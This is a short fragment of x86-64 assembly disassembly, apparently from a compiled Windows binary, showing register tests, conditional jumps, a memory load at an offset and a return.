test r8d, r8d
jne 0x140002ae7
mov edx, dword [rax + 0xc]
test edx, edx
je 0x140002abe
test ecx, ecx
jg 0x140002ad0
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret